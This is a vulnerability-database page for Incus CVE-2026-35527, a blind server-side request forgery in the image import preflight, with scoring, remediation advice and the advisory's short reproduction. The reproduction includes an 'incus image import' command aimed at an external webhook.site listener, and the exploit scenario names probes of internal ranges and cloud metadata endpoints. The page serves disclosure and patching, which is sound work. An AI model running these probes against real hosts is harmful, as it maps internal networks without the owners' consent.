Skip to main content

Incus CVE-2026-35527

MEDIUM
Server-Side Request Forgery (SSRF) (CWE-918)
2026-05-04 https://github.com/lxc/incus GHSA-8gw4-p4wq-4hcv
5.3
CVSS 4.0 · Vendor: https://github.com/lxc/incus
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Authenticate to Incus daemon
  2. Delivery
    Attempt image import from attacker URL
  3. Exploit
    Daemon constructs HEAD request
  4. Install
    Head request sent before URL validation
  5. C2
    Metadata headers parsed
  6. Execute
    Import fails on missing headers
  7. Impact
    SSRF complete, information leaked

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V4 - API and Web Service URL allowlisting, SSRF prevention
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Credential Access

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Authentication as a project member with image-import rights is required. The target Incus installation must support URL-based image import (enabled by default). The restriction occurs during the preflight stage before project policy validation, so it affects any authenticated user regardless of their actual image-download permissions in restricted projects. If restricted.images.servers is not configured on the target project, the vulnerability still allows SSRF but is less impactful since image downloads are not subject to network policy restrictions. Non-default configuration of strict project restrictions does not mitigate this; the vulnerability exists even in restricted projects because validation timing is the issue, not the policy logic itself.

Impact

CVSS 4.3 (AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N) indicates low confidentiality impact with network-accessible attack vector and low complexity, but requires authentication (PR:L). The vulnerability is not a high-severity remote code execution or denial of service, yet it presents a legitimate SSRF vector in multi-tenant or restricted-project environments. The authenticated-only requirement significantly limits real-world risk compared to unauthenticated SSRF vulnerabilities; however, in environments where project isolation is a security control, any authenticated user with image-import rights can bypass intended network restrictions. EPSS score and exploitation prevalence data not provided, but the advisory's emphasis on restricted.images.servers suggests this is most impactful in deployments using that feature. No active KEV listing provided. The real-world risk depends on deployment context: in single-tenant or fully-trusted environments, risk is minimal; in multi-tenant with strict project isolation, risk is moderate due to blind SSRF against internal services. The similarity to CVE-2026-24767 suggests a pattern of validation-ordering issues in Incus image handling.

Exploit ScenarioDerived

An authenticated user with image-import privileges in a restricted project attempts to import an image from a webhook.site endpoint (attacker-controlled listener). Despite the project's restricted.images.servers policy, which should block the import, the Incus daemon sends a HEAD request to the attacker's URL before validating the policy, leaking version and architecture information in headers. The attacker can repeat this with internal IP ranges (10.0.0.0/8, 172.16.0.0/12) or cloud metadata endpoints (169.254.169.254) to probe the host's network environment.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – May 04, 2026

Blind server-side request forgery in Incus allows authenticated users to trigger arbitrary HEAD requests to internal or external endpoints during image import preflight validation, bypassing the restricted.images.servers project restriction. While the actual image download is blocked by project policies, the preflight HEAD request executes before validation occurs, enabling attackers to probe internal services, cloud metadata endpoints, or unroutable address space reachable from the Incus host. No public exploit code identified at time of analysis, though proof-of-concept reproduction is documented in the advisory.

RemediationAI

Upgrade Incus to version 7.0.0 or later, which implements proper validation ordering to defer preflight HEAD requests until after URL and project-restriction policies are enforced. Vendor-released patch: 7.0.0. If immediate upgrade is not feasible, implement network-level compensating controls: restrict outbound HTTP/HTTPS traffic from Incus daemon to explicitly whitelisted image repositories or internal networks, blocking access to cloud metadata endpoints (169.254.169.254/fd00:ec2::254) and internal service ranges. Additionally, restrict project membership and image-import privileges to trusted users only, and audit image import requests for suspicious external URLs. These controls mitigate blind SSRF but do not eliminate the root vulnerability and should be temporary pending patching.

Affected Packages

go github.com/lxc/incus no fix
go github.com/lxc/incus/v6 no fix
go github.com/lxc/incus/v6/cmd/incusd fix: 7.0.0
go github.com/lxc/incus/v7 fix: 7.0.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 4 packages in go

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The vulnerability exists in the image import URL handler (imgPostURLInfo function in cmd/incusd/images.go) which constructs and immediately sends an HTTP HEAD request to a user-supplied URL to fetch image metadata headers (Incus-Image-Hash and Incus-Image-URL). The root cause is CWE-918 (Server-Side Request Forgery): the preflight HEAD request is issued before the supplied URL is validated against project restrictions or other import requirements. The restricted.images.servers project restriction is only enforced later in the ImageDownload flow, after the outbound request has already been made. This creates a blind SSRF primitive where authenticated attackers can coerce the Incus daemon into making network requests to arbitrary destinations with host-level network access, including internal networks and cloud metadata services.

Know when the next one hits your stack

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/lxc/incus) PRIMARY 5.3 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N
SUSE 3.1 LOW
AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N

Primary rating from Vendor (https://github.com/lxc/incus).

CVSS VectorVendor: https://github.com/lxc/incus

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
None
Vulnerable system: Confidentiality
None
Vulnerable system: Integrity
None
Vulnerable system: Availability
None
Subsequent system: Confidentiality
Low
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

2
CVSS changed
May 05, 2026 - 21:22 NVD
4.3 (MEDIUM) 5.3 (MEDIUM)
CVE Published
May 04, 2026 - 16:53 nvd
MEDIUM 4.3

DescriptionCVE.org

Summary

A partial implementation of our restricted.images.servers project restriction allows users in such restricted projects to still cause Incus to send HEAD requests to arbitrary endpoints.

The actual image download will be rejected by the project restriction, but the ability to trigger arbitrary HTTP requests inside of the Incus environment can still be used as a way to discover otherwise hidden details about the environment.

Details

The image import flow performs outbound network access to a user-supplied URL before the request is fully validated and before the import is rejected. The URL information helper constructs a HEAD request directly from the supplied source URL and immediately sends it to resolve image metadata.

A host-originated HEAD request is issued from attacker-controlled input during the image import preflight stage. In the observed reproduction, this request is sent before the flow fails on later processing requirements, such as missing image metadata headers. As a result, an authenticated user can coerce the daemon into making blind outbound HEAD requests to arbitrary destinations. This yields a blind server-side request forgery (SSRF) primitive against internal services, unroutable address space, or cloud metadata endpoints reachable by the host. This vulnerability pattern is similar to CVE-2026-24767.

Affected File: https://github.com/lxc/incus/blob/v6.22.0/cmd/incusd/images.go

Affected Code:

func imgPostURLInfo(ctx context.Context, s *state.State, r *http.Request, req api.ImagesPost, op *operations.Operation, project string, budget int64) (*api.Image, error) {
    [...]
    head, err := http.NewRequest("HEAD", req.Source.URL, nil)
    if err != nil {
        return nil, err
    }

    [...]


    head.Header.Set("User-Agent", version.UserAgent)
    head.Header.Set("Incus-Server-Architectures", strings.Join(architectures, ", "))
    head.Header.Set("Incus-Server-Version", version.Version)

    raw, err := myhttp.Do(head)
    if err != nil {
        return nil, err
    }

    hash := raw.Header.Get("Incus-Image-Hash")
    if hash == "" {
        return nil, errors.New("Missing Incus-Image-Hash header")
    }

    url := raw.Header.Get("Incus-Image-URL")
    if url == "" {
        return nil, errors.New("Missing Incus-Image-URL header")
    }

    info, _, err := ImageDownload(ctx, r, s, op, &ImageDownloadArgs{
        Server:      url,
        Protocol:    "direct",
        Alias:       hash,
        AutoUpdate:  req.AutoUpdate,
        Public:      req.Public,
        ProjectName: project,
        Budget:      budget,
    })
    [...]
}

The following PoC demonstrates that an authenticated user can trigger a host-originated HEAD request to an arbitrary external URL during the image import preflight stage.

Step 1: Select the reproduction project

From an Incus client with access to the target server, switch into the project used for reproduction. In this environment, the selected project was configured as restricted=true with a restrictive restricted.images.servers policy.

Command:

incus project switch restricted

Step 2: Trigger the preflight request to an arbitrary URL

From the same Incus client, attempt to import an image from an attacker-controlled or observable URL. In this example, webhook.site is used as an external listener to capture the host-originated request.

Command:

incus image import https://webhook.site/0270eca3-4197-4194-97b6-1280f1070c3a --alias my-ssrf-image

Result:

Error: Missing Incus-Image-Hash header

Step 3: Verify the outbound HEAD request in the external listener

In the webhook.site request log for the URL above, confirm that the Incus host issued a HEAD request before the import failed. In this reproduction environment, the request originated from a server running Incus v6.22.0.

Result:

HEAD /0270eca3-4197-4194-97b6-1280f1070c3a HTTP/1.1
Host: webhook.site
User-Agent: Incus 6.22 (Linux; x86_64; 6.19.6; Debian GNU/Linux; 13) (zfs 2.4.1-1)
Incus-Server-Version: 6.22
Incus-Server-Architectures: x86_64, i686

It is recommended to defer all outbound network interaction associated with URL-based image imports, including metadata preflight requests, until after the supplied URL has passed all validation and policy checks required by the import flow. If the import would later fail or be disallowed, the daemon should reject the request before issuing any network traffic.

Credit

This issue was discovered and reported by the team at 7asecurity (https://7asecurity.com/)

Threat Intelligence Overview

EPSS Score
0.0%
Top 89% exploitable
Threat Intel
1
1 source
Data Quality
7 sources
Confidence: High
NVD CVE.org EPSS Vulnrichment GHSA Vendor GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

26
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +26
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Server-Side Request Forgery exploits applications that fetch remote resources based on user-supplied URLs.

Affected Products (CPE)CVE.org

pkg:go/github.com_lxc_incus_v6_cmd_incusd

Vendor StatusVendor

SUSE

Severity: Low

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy